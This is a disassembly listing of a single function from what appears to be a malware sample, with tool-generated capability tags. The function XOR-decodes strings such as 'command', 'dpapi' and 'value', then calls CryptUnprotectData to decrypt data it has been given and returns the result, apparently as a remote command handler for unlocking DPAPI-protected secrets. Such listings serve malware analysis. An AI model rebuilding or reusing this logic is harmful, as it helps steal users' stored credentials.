Function at 0x40b360
Capabilities:
Encode data using xor
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a0b6
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x45f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
movq qword [ebp - 0x50], xmm0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0
push ecx
lea ecx, [ebp - 0x50]
push ecx
push dword [ebp + 0xc]
mov ecx, 0x461a2c
push eax
call fcn.0041bf20
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
lea eax, [ebp - 0x6c]
push eax
call fcn.00416380
add esp, 0xc
xorps xmm0, xmm0
mov byte [ebp - 0xc0], 0
movq qword [ebp - 0xb8], xmm0
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 2
call fcn.0040f720
xorps xmm0, xmm0
mov byte [ebp - 0xc0], 5
movlpd qword [ebp - 0x94], xmm0
mov edi, dword [ebp - 0x94]
mov ebx, dword [ebp - 0x90]
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xb4], ebx
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0xac], 0x646e7a7e
mov dword [ebp - 0xa8], 0x1006164
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 6
jb 0x40b464
sub esp, 0x18
mov byte [ebp - 0xa5], 0
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [edx + 0x14], 0xf
cmp dword [edx + 0x14], 0x10
mov dword [edx + 0x10], 0
jb 0x40b4a6
mov eax, dword [edx]
jmp 0x40b4a8
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0xac], 0
jne 0x40b4b8
xor ecx, ecx
jmp 0x40b4ca
lea ecx, [ebp - 0xac]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b4c1
sub ecx, esi
push ecx
lea eax, [ebp - 0xac]
mov ecx, edx
push eax
call fcn.0040e9c0
lea ecx, [ebp - 0x6c]
call fcn.0040ad00
mov cl, byte [eax]
mov byte [eax], 5
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x98], cl
mov byte [ebp - 0xc0], cl
mov ecx, dword [eax + 8]
mov dword [eax + 8], edi
mov dword [eax + 0xc], ebx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xb4], edx
push dword [ebp - 0x98]
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 4
call fcn.0040f720
push 0
push 1
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0xd8]
push eax
call fcn.00405d20
add esp, 0x10
cmp byte [ebp - 0xd8], 1
sete al
cmp al, 1
jne 0x40bbde
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 6
xor ecx, ecx
mov dword [ebp - 0x94], 0x7d62616e
mov dword [ebp - 0x90], 0x777c70
mov byte [ebp - 0x8c], al
nop
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 7
jb 0x40b580
sub esp, 0x18
mov byte [ebp - 0x8c], 0
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [edx + 0x14], 0xf
cmp dword [edx + 0x14], 0x10
mov dword [edx + 0x10], 0
jb 0x40b5c2
mov eax, dword [edx]
jmp 0x40b5c4
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x94], 0
jne 0x40b5d4
xor ecx, ecx
jmp 0x40b5e9
lea ecx, [ebp - 0x94]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b5e0
sub ecx, esi
push ecx
lea eax, [ebp - 0x94]
mov ecx, edx
push eax
call fcn.0040e9c0
lea ecx, [ebp - 0xd8]
call fcn.0040ad00
cmp byte [eax], 3
jne 0x40b715
mov dword [ebp - 0x94], 0x7d62616e
xor ecx, ecx
mov dword [ebp - 0x90], 0x777c70
mov byte [ebp - 0x8c], 1
nop dword [eax]
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 7
jb 0x40b630
sub esp, 0x18
mov byte [ebp - 0x8c], 0
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [edx + 0x14], 0xf
cmp dword [edx + 0x14], 0x10
mov dword [edx + 0x10], 0
jb 0x40b672
mov eax, dword [edx]
jmp 0x40b674
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x94], 0
jne 0x40b684
xor ecx, ecx
jmp 0x40b699
lea ecx, [ebp - 0x94]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b690
sub ecx, esi
push ecx
lea eax, [ebp - 0x94]
mov ecx, edx
push eax
call fcn.0040e9c0
lea ecx, [ebp - 0xd8]
call fcn.0040ad00
lea ecx, [ebp - 0x84]
push ecx
mov ecx, eax
call fcn.00405f90
mov esi, eax
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x40b6fa
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x40b6df
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0040f480
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.0040cb80
mov eax, dword [ebp - 0x70]
cmp eax, 0x10
jb 0x40b715
inc eax
lea ecx, [ebp - 0x84]
push eax
push dword [ebp - 0x84]
call fcn.0040f480
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmp edi, 0x10
cmovae eax, edx
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0x28]
cmovae eax, edx
add eax, dword [ebp - 0x18]
cmp edi, 0x10
mov ebx, eax
cmovae ecx, edx
xor esi, esi
sub ebx, ecx
mov dword [ebp - 0xa0], ecx
cmp ecx, eax
cmova ebx, esi
test ebx, ebx
je 0x40b781
mov edi, dword [ebp - 0xa8]
nop word [eax + eax]
movzx eax, byte [esi + ecx]
push eax
call fcn.0043d402
mov ecx, dword [ebp - 0xa0]
add esp, 4
mov byte [esi + edi], al
inc esi
cmp esi, ebx
jne 0x40b760
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xa4], 0x606e7e69
xor ecx, ecx
mov word [ebp - 0xa0], 0x78
mov byte [ebp - 0x9e], 1
nop dword [eax]
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 5
jb 0x40b7a0
cmp byte [ebp - 0xa4], 0
mov byte [ebp - 0x9e], 0
jne 0x40b7c4
xor esi, esi
jmp 0x40b7d9
lea esi, [ebp - 0xa4]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x40b7d0
sub esi, ecx
mov ebx, dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
cmp edi, 0x10
mov eax, esi
cmovae ecx, edx
cmp ebx, esi
cmovb eax, ebx
push eax
lea eax, [ebp - 0xa4]
push eax
push ecx
call fcn.0040f390
add esp, 0xc
test eax, eax
jne 0x40bb00
cmp ebx, esi
jb 0x40bb00
ja 0x40bb00
mov dword [ebp - 0x70], 0xf
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x84], al
mov byte [ebp - 4], 8
xor ecx, ecx
mov dword [ebp - 0xac], 0x65636f7b
mov word [ebp - 0xa8], 0x74
mov byte [ebp - 0xa6], 1
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 5
jb 0x40b843
sub esp, 0x18
mov byte [ebp - 0xa6], 0
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [edx + 0x14], 0xf
cmp dword [edx + 0x14], 0x10
mov dword [edx + 0x10], 0
jb 0x40b885
mov eax, dword [edx]
jmp 0x40b887
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0xac], 0
jne 0x40b897
xor ecx, ecx
jmp 0x40b8a9
lea ecx, [ebp - 0xac]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b8a0
sub ecx, esi
push ecx
lea eax, [ebp - 0xac]
mov ecx, edx
push eax
call fcn.0040e9c0
lea ecx, [ebp - 0xd8]
call fcn.0040ad00
cmp byte [eax], 3
jne 0x40b932
mov dword [ebp - 0xa4], 0x65636f7b
xor ecx, ecx
mov word [ebp - 0xa0], 0x74
mov byte [ebp - 0x9e], 1
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 5
jb 0x40b8e4
lea eax, [ebp - 0xc8]
mov byte [ebp - 0x9e], 0
push eax
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00401990
mov ecx, eax
call fcn.00405f90
push eax
lea ecx, [ebp - 0x84]
call fcn.0040ac40
lea ecx, [ebp - 0xc8]
call fcn.0040a790
cmp dword [ebp - 0x74], 0
jbe 0x40baf2
lea eax, [ebp - 0x84]
mov dword [ebp - 0x54], 0
push eax
lea eax, [ebp - 0x5c]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x5c], xmm0
call fcn.0040ed80
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
sub eax, ecx
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x9c]
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 9
push eax
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
call sub.CRYPT32.dll_CryptUnprotectData
test eax, eax
je 0x40baea
mov ecx, dword [ebp - 0x98]
xorps xmm0, xmm0
mov eax, dword [ebp - 0x9c]
add eax, ecx
movq qword [ebp - 0xbc], xmm0
push eax
push ecx
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xb4], 0
call fcn.00401420
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_LocalFree]
sub esp, 0x10
mov dword [ebp - 0xa0], 1
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xa8], esp
mov ecx, esp
push eax
call fcn.004013b0
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0xa4], 0x646e7a7e
mov dword [ebp - 0xa0], 0x1006164
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 6
jb 0x40ba30
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x9d], 0
push eax
lea ecx, [ebp - 0x6c]
call fcn.00401990
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.0040abc0
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0040ef60
sub esp, 8
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0xa0], esp
push eax
call fcn.004016d0
mov byte [ebp - 4], 0xd
xor ecx, ecx
mov dword [ebp - 0xac], 0x657c6b7f
mov dword [ebp - 0xa8], 0x100667d
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 6
jb 0x40baa3
lea eax, [ebp - 0xac]
mov byte [ebp - 0xa5], 0
push eax
lea ecx, [ebp - 0x6c]
call fcn.00401990
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0040abc0
lea ecx, [ebp - 0xf0]
call fcn.0040a790
lea ecx, [ebp - 0xbc]
call fcn.0040e120
lea ecx, [ebp - 0x5c]
call fcn.0040e120
lea ecx, [ebp - 0x84]
call fcn.0040a790
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0xa4], 0x64667668
xor ecx, ecx
mov word [ebp - 0xa0], pe_nt_image_headers32
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 4
jb 0x40bb15
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x9f], 0
push eax
lea ecx, [ebp - 0x28]
call fcn.0040f330
test eax, eax
jne 0x40bbc2
sub esp, 0x10
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xa8], esp
mov ecx, esp
push eax
call fcn.004013b0
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0xa4], 0x646e7a7e
mov dword [ebp - 0xa0], 0x1006164
nop word [eax + eax]
lea eax, [ecx + 0xd]
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 6
jb 0x40bb80
lea eax, [ebp - 0xa4]
mov byte [ebp - 0x9d], 0
push eax
lea ecx, [ebp - 0x6c]
call fcn.00401990
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.0040abc0
mov esi, dword [ebp - 0xb0]
mov eax, dword [esi + 0x1c]
mov byte [eax], 1
mov edi, dword [ebp - 0x14]
jmp 0x40bbc8
mov esi, dword [ebp - 0xb0]
cmp edi, 0x10
jb 0x40bbe4
lea eax, [edi + 1]
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.0040f480
jmp 0x40bbe4
mov esi, dword [ebp - 0xb0]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0
push 0
sub esp, 8
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.00401650
lea eax, [ebp - 0x6c]
push eax
call fcn.00419b40
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
movq qword [ebp - 0x44], xmm0
add esp, 0x14
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
sub ecx, eax
push edx
lea edx, [ebp - 0x44]
mov byte [ebp - 4], 0x10
push edx
push ecx
push eax
mov ecx, 0x461a2c
mov dword [ebp - 0x2c], 0
call fcn.0041c440
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x40bc88
mov ecx, dword [esi + 0x18]
push eax
push dword [ebp - 0x44]
call fcn.0040c8b0
lea ecx, [ebp - 0x44]
call fcn.0040e120
lea ecx, [ebp - 0x38]
call fcn.0040e120
push dword [ebp - 0xd8]
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x11
call fcn.0040f720
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
call fcn.0040f720
lea ecx, [ebp - 0x50]
call fcn.0040e120
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e7b3
mov esp, ebp
pop ebp
ret 8